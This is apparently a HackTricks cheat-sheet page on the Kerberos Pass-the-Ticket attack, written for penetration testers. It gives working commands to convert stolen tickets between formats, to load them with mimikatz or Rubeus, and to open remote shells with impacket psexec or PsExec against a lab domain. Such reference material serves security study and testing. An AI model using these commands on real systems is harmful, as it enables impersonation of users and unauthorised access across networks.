Pass the Ticket

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Pass The Ticket (PTT)

In the Pass The Ticket (PTT) attack method, attackers steal a user's authentication ticket instead of their password or hash values. This stolen ticket is then used to impersonate the user, gaining unauthorized access to resources and services within a network.

Read:

• Harvesting tickets from Windows
• Harvesting tickets from Linux

Swaping Linux and Windows tickets between platforms

The ticket_converter tool converts ticket formats using just the ticket itself and an output file.

python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi

python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

In Windows Kekeo can be used.

Pass The Ticket Attack

Linux

export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK 
python psexec.py jurassic.park/[e-mail] -k -no-pass

Windows

#Load the ticket in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt [0;28419fe][e-mail]"
.\Rubeus.exe ptt /ticket:[0;28419fe][e-mail]
klist #List tickets in cache to cehck that mimikatz has loaded the ticket
.\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

References

• https://www.tarlogic.com/blog/how-to-attack-kerberos/

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

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Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.